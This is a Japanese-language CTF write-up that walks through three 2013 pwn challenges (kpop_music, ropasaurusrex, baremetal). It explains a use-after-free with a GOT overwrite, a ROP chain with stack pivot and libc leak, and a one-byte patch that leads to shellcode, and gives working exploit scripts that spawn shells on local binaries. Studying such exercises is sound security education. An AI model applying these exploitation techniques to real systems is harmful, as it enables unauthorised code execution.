pwn challenges list easy writeup その3
前回
[CodeGate 2013] Vuln500
ELF 32-bit、動的リンク、NX有効。
% file kpop_music kpop_music: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=8f57017de907a492d2bc20d2b29b32501f9adfb1, stripped % checksec -f kpop_music RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 5 kpop_music
% ./kpop_music ==================================================================== __ __ ____ ____ ____ __ _____ _______ __________ / //_// __ \/ __ \/ __ \ / |/ / / / / ___// _/ ____/ / ,< / /_/ / / / / /_/ / / /|_/ / / / /\__ \ / // / / /| |/ ____/ /_/ / ____/ / / / / /_/ /___/ // // /___ /_/ |_/_/ \____/_/ /_/ /_/\____//____/___/\____/ Welcome to the KPOP Music WORLD! ==================================================================== ------------------------ 1. Show kpop song list 2. Add a new kpop song 3. Modify kpop song 4. Delete kpop song 5. Search kpop song 6. Quit ------------------------ MENU> 1 ==================================================================== 0. Gangnam Style(PSY) - http://www.youtube.com/watch?v=9bZkp7q19f0 1. I got a boy(SNSD) - http://www.youtube.com/watch?v=wq7ftOZBy0E 2. Gone not around any longer(SISTAR19) - http://www.youtube.com/watch?v=JtVhwsACgTw ==================================================================== ------------------------ 1. Show kpop song list 2. Add a new kpop song 3. Modify kpop song 4. Delete kpop song 5. Search kpop song 6. Quit ------------------------ MENU>
曲名とURLのデータがあり、それに対して表示、追加、編集、削除、検索が行える。データは構造体を使って保存されている。
struct song { void (*func[])(song *); char title_str[100]; unsigned int url_len; char *url_str; }; struct song_array { song *songs[]; int size; };
構造体songに、曲名とURLの文字列が保存されており、URLの領域はheap領域から別途確保している。曲が追加される度に、newで構造体songの領域が確保され、構造体song_arrayに追加される。また、曲の追加、編集の際に文字列を構造体songに保存する関数を関数ポインタの配列funcに割り当ててあり、追加、編集の度にそれを用いている。よって何かしらの方法で関数ポインタを書き換えたい。ポインタの配列になっているのでGOTで上書きすればsystemを実行できそう。(今回systemがGOTにある)
削除をする関数にUse After Freeの脆弱性があることがわかった。
void free_url_str(song *s) { s->func = func_array; if (s->url_str != NULL) { free(s->url_str); } s->url_len = 0; } int delete_song_by_number(song_array *s, int num) { int found = 0; if (s->size == 0) { puts("[!] no more songs"); return 0; } for (unsigned int i = 0; i < s->size; i++) { if (s->songs[num] == s->songs[i]) found = 1; } if (found == 0) { puts("[!] invalid number"); return 0; } if (num >= s->size) { puts("[!] maxnum exceeded"); return 0; } if (s->songs[num] != NULL) { free_url_str(s->songs[num]); delete s->songs[num]; } puts("[*] Deleted successfully"); for (unsigned int i = num; i < s->size; i++) { s->songs[i] = s->songs[i+1]; } return 1; }
このプログラムではunsiged intとintが入り乱れているため、比較や代入の際に期待していない動作が起きてしまう。ディスアセンブルした状態では
- jlやjg系 -> 符号付比較(intとintの比較)
- jaやjb系 -> 符号なし比較(unsigned intとintの比較、intとunsigned intの比較、unsigned intとunsigned intの比較)
のように分かれる。これを考慮してデコンパイルした結果が上のコードになっている。上のコードにおいてnumを負の値にすると、s->songs[num]ではs->songsポインタにnum * 4を足しているためとても小さい値にすればinteger overflowして正の値と偽ることができ、num >= s->sizeはintどうしの比較のためチェックを抜けることができ、i = num; i < s->sizeではunsigned intとintの比較のためループに入らない。例えばnumを-1<<31にすればsongs[0]をfreeしておきながらそのポインタを維持できるため、Use After Freeに繋がる。ここでfreeされるサイズは0x78(構造体song)と0x30(URLの文字列)になる。
fastbins -> bins -> unsorted bins -> よりサイズの大きいbinsから切り出し -> topを進めて新たな領域を確保する
という順序でmallocの割り当てを決めるため、サイズを0x30ではない0x78以下の値にすれば構造体songがある領域を確保できる。modifyではURLのための領域を新たに確保しているため、URLの文字列としてsystemのGOT(実際にはsystem_got-0x8)を入力すれば、構造体songの領域が確保され関数ポインタが書き換えられて次のmodifyの際にsystemが呼ばれる。引数は構造体songの先頭であるため、p32(system_got-0x8) + ';/bin/sh'という文字列を送れば、前半は定義されていないコマンドとしてエラーが返り、続いて/bin/shが実行される。
#!/usr/bin/env python from pwnlib import * def delete(num): s.recvuntil('MENU> ') s.sendline('4') s.recvuntil('method> ') s.sendline('1') s.recvuntil('number : ') s.sendline(str(num)) def modify(num,title,url): s.recvuntil('MENU> ') s.sendline('3') s.recvuntil('method> ') s.sendline('1') s.recvuntil('number : ') s.sendline(str(num)) s.recvuntil('title : ') s.sendline(title) s.recvuntil('url : ') s.sendline(url) if __name__ == '__main__': s = Local(['./kpop_music'], env = {'TERM': 'xterm'}) system_got = 0x804b3f8 delete(-1<<31) modify(1,'A',p32(system_got - 0x8) + ';/bin/sh') modify(0,'A','A') s.interact()
% ./exploit.py sh: 1:: not found [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
[PlaidCTF 2013] Pwn ropasaurusrex - 200
ELF 32-bit、動的リンク、NX有効。
% file ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped % checksec -f ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
とても短いコード
<do_read>: 80483f4: 55 push ebp 80483f5: 89 e5 mov ebp,esp 80483f7: 81 ec 98 00 00 00 sub esp,0x98 80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100 8048404: 00 8048405: 8d 85 78 ff ff ff lea eax,[ebp-0x88] 804840b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804840f: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 8048416: e8 11 ff ff ff call 804832c <read@plt> 804841b: c9 leave 804841c: c3 ret <main>: 804841d: 55 push ebp 804841e: 89 e5 mov ebp,esp 8048420: 83 e4 f0 and esp,0xfffffff0 8048423: 83 ec 10 sub esp,0x10 8048426: e8 c9 ff ff ff call 80483f4 <do_read> 804842b: c7 44 24 08 04 00 00 mov DWORD PTR [esp+0x8],0x4 8048432: 00 8048433: c7 44 24 04 10 85 04 mov DWORD PTR [esp+0x4],0x8048510 804843a: 08 804843b: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 8048442: e8 c5 fe ff ff call 804830c <write@plt> 8048447: c9 leave 8048448: c3 ret
ebp-0x88から0x100bytes読み込んでいるのでBOFする。問題名通りROPを構成すればいいのだが、使える領域が少ないのでまずreadでbssにROPを構成しstack pivotでespをbssに切り替える。あとはlibcのベースアドレスをリークしてsystemのアドレスをROPの続きに書き込む。
#!/usr/bin/env python from pwnlib import * if __name__ == '__main__': s = Local(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'], env = {'LD_PRELOAD': './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a'}) read_plt = 0x804832c read_got = 0x804961c read_offset = 0xbf110 write_plt = 0x804830c system_offset = 0x39450 bss_addr = 0x8049900 leave_ret = 0x80482ea pop3_ret = 0x80484b6 payload = '' payload += 'A' * 0x88 payload += p32(bss_addr-4) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0) + p32(bss_addr) + p32(0x100) s.send(payload) payload = '' payload += p32(write_plt) payload += p32(pop3_ret) payload += p32(1) + p32(read_got) + p32(4) payload += p32(read_plt) payload += p32(pop3_ret) payload += p32(0) + p32(bss_addr + len(payload) + 3 * 0x4) + p32(0x4) payload += 'A' * 0x8 payload += p32(bss_addr + len(payload) + 0x4) payload += '/bin/sh\0' s.send(payload) libc_base = u32(s.recv(4)) - read_offset print '[*] libc base: %#x' % libc_base s.send(p32(libc_base + system_offset)) s.interact()
% ./exploit.py [*] libc base: 0xf7654000 ERROR: ld.so: object './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored. ERROR: ld.so: object './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored. [*] Switching to interactive mode $ id ERROR: ld.so: object './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored. uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
[SIGINT CTF 2013] pwning 100 - baremetal
ELF 32-bit、静的リンク、NX有効(実際は無効)。
% file baremetal baremetal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped % checksec -f baremetal RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 baremetal
特殊なコードの書き方をしていて、関数の呼び出しをjmpで行って関数内では最後にnext_instructionを呼び出して戻り番地を計算しそこに戻っている。スタックはほとんど使っていない。(この書き方はエクスプロイトに影響しない)
<main>: 8048080: 68 98 91 04 08 push 0x8049198 8048085: e8 b1 00 00 00 call 0x804813b <pop_edi> 804808a: e9 cd 00 00 00 jmp 0x804815c <strlen> 804808f: 50 push eax 8048090: 68 98 91 04 08 push 0x8049198 8048095: e8 a1 00 00 00 call 0x804813b <pop_edi> 804809a: e9 aa 00 00 00 jmp 0x8048149 <write> ... <pop_edi>: 804813b: 5f pop edi 804813c: ff e7 jmp edi <next_instruction>: 804813e: 8b 0f mov ecx,DWORD PTR [edi] 8048140: 84 c9 test cl,cl 8048142: 75 03 jne 0x8048147 8048144: 47 inc edi 8048145: eb f7 jmp 0x804813e 8048147: ff e7 jmp edi <write>: 8048149: b8 04 00 00 00 mov eax,0x4 804814e: bb 01 00 00 00 mov ebx,0x1 8048153: 59 pop ecx 8048154: 5a pop edx 8048155: cd 80 int 0x80 8048157: 83 c7 02 add edi,0x2 804815a: eb e2 jmp 0x804813e <next_instruction>
cに直すと以下のようになる。
#include <string.h> #include <unistd.h> char str[0x3c]; // 0x80491c8 int code; // 0x8049204 int sum(char *s) { int ret = 0; while (*s) ret += *s++; return ret; } int main(void) { write(1,"baremetal online\n",strlen("baremetal online\n")); code = 0xe7ff4747; // inc edi; inc edi; jmp edi read(0,str,0x3d); if (sum(str) == 0x1ee7) { if (code & 0xff != 0) { ((void(*)())code)(); } write(1,"Sequence OK\n",strlen("Sequence OK\n")); } else { write(1,"Bad Sequence\n",strlen("Bad Sequence\n")); } return 0; }
codeはinc edi; inc edi; jmp edi
が代入されており、条件を満たすとそこにジャンプする。BOFによってcodeの1byte目を上書きできるため、1byteだけ任意のコードを実行できる。codeを呼び出す直前のレジスタの値を見てみると
[----------------------------------registers-----------------------------------] EAX: 0x80491c8 --> 0xffffffff EBX: 0x47 ('G') ECX: 0x8049204 --> 0xe7ff4747 EDX: 0x0 ESI: 0x0 EDI: 0x80480f9 (jmp ecx) EBP: 0x0 ESP: 0xffe73ea0 --> 0x1 EIP: 0x80480f9 (jmp ecx) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80480f0: test ebx,ebx 0x80480f2: je 0x80480fb 0x80480f4: call 0x804813b => 0x80480f9: jmp ecx | 0x80480fb: push 0x80491aa | 0x8048100: call 0x804813b | 0x8048105: jmp 0x804815c | 0x8048107: push eax |-> 0x8049204: inc edi 0x8049205: inc edi 0x8049206: jmp edi 0x8049208: add BYTE PTR [eax],al JUMP is taken
eaxに入力した文字列の先頭番地が格納されていることがわかる。
ここでオペコードとオペランドを合わせて1byteのコードを探してみるとxchg r16/32, eax
があり、これによってediを文字列の先頭に変えられるため、文字列としてシェルコードを送ればよくなる。
#!/usr/bin/env python from pwnlib import * if __name__ == '__main__': s = Local(['./baremetal']) s.recvline() code = asm('xchg eax, edi', frmt = 'elf32') sm = ord(code) + 0x22d payload = '' payload += 'A' payload += get_shellcode('lin32') for c in payload: sm += ord(c) l = len(payload) for i in range(0x3c - l): x = min(0xff,0x1ee7 - sm - (0x3b - l - i)) payload += chr(x) sm += x payload += code s.send(payload) s.interact()
% ./exploit.py [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
続き